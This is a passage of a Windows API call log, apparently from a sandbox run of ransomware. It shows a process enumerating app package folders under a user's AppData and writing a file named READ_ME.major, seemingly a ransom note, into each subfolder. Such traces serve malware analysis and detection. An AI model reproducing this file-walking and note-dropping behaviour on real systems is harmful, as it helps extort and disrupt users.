dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.943] FindNextFileW (in: hFindFile=0x58e4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c48483f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0181.943] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0182.044] WriteFile (in: hFile=0x854, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.045] CloseHandle (hObject=0x854) returned 1 [0182.045] FindNextFileW (in: hFindFile=0x58e4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c438394, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c438394, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0182.045] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0182.046] WriteFile (in: hFile=0x854, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.047] CloseHandle (hObject=0x854) returned 1 [0182.047] FindNextFileW (in: hFindFile=0x58e4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c412157, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0182.047] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0182.048] WriteFile (in: hFile=0x854, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.049] CloseHandle (hObject=0x854) returned 1 [0182.049] FindNextFileW (in: hFindFile=0x58e4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c412157, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0182.049] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0182.051] WriteFile (in: hFile=0x854, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.052] CloseHandle (hObject=0x854) returned 1 [0182.052] FindNextFileW (in: hFindFile=0x58e4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ec3b86, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21ec3b86, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21ec3b86, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0182.052] FindNextFileW (in: hFindFile=0x58e4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c412157, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0182.052] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0182.052] WriteFile (in: hFile=0x854, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.053] CloseHandle (hObject=0x854) returned 1 [0182.053] FindNextFileW (in: hFindFile=0x58e4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c438394, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0182.053] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0182.054] WriteFile (in: hFile=0x854, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.055] CloseHandle (hObject=0x854) returned 1 [0182.055] FindNextFileW (in: hFindFile=0x58e4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c438394, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c438394, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0182.055] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0182.055] WriteFile (in: hFile=0x854, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.056] CloseHandle (hObject=0x854) returned 1 [0182.056] FindNextFileW (in: hFindFile=0x58e4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c412157, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0182.056] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0182.057] WriteFile (in: hFile=0x854, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.058] CloseHandle (hObject=0x854) returned 1 [0182.058] FindNextFileW (in: hFindFile=0x58e4f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c412157, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0182.058] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21eeeb71, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e138 [0182.058] FindNextFileW (in: hFindFile=0x58e138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21eeeb71, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.059] FindNextFileW (in: hFindFile=0x58e138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7dbe9a15, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0182.059] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0182.126] WriteFile (in: hFile=0x858, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.127] CloseHandle (hObject=0x858) returned 1 [0182.127] FindNextFileW (in: hFindFile=0x58e138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0182.128] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0182.129] WriteFile (in: hFile=0x858, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.130] CloseHandle (hObject=0x858) returned 1 [0182.130] FindNextFileW (in: hFindFile=0x58e138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0182.130] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0182.130] WriteFile (in: hFile=0x858, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.131] CloseHandle (hObject=0x858) returned 1 [0182.131] FindNextFileW (in: hFindFile=0x58e138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0182.132] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0182.133] WriteFile (in: hFile=0x858, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.134] CloseHandle (hObject=0x858) returned 1 [0182.134] FindNextFileW (in: hFindFile=0x58e138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21eeeb71, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21eeeb71, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21eeeb71, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0182.134] FindNextFileW (in: hFindFile=0x58e138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0182.134] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0182.134] WriteFile (in: hFile=0x858, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.135] CloseHandle (hObject=0x858) returned 1 [0182.136] FindNextFileW (in: hFindFile=0x58e138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0182.136] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0182.136] WriteFile (in: hFile=0x858, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.137] CloseHandle (hObject=0x858) returned 1 [0182.137] FindNextFileW (in: hFindFile=0x58e138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0182.137] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0182.137] WriteFile (in: hFile=0x858, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.138] CloseHandle (hObject=0x858) returned 1 [0182.138] FindNextFileW (in: hFindFile=0x58e138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0182.139] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0182.139] WriteFile (in: hFile=0x858, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0182.140] CloseHandle (hObject=0x858) returned 1 [0182.140] FindNextFileW (in: hFindFile=0x58e138, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0182.141] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21f0ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e678 [0182.141] FindNextFileW (in: hFindFile=0x58e678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e441dff, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e48e2a2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21f0ffbe, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0182.141] FindNextFileW (in: hFindFile=0x58e678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e48e2a2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7e4b4510, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7e4b4510, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0182.141] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloItemPlayerApp_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoitemplayerapp_cw5n1h2txyewy\\ac\\read_me.major"), 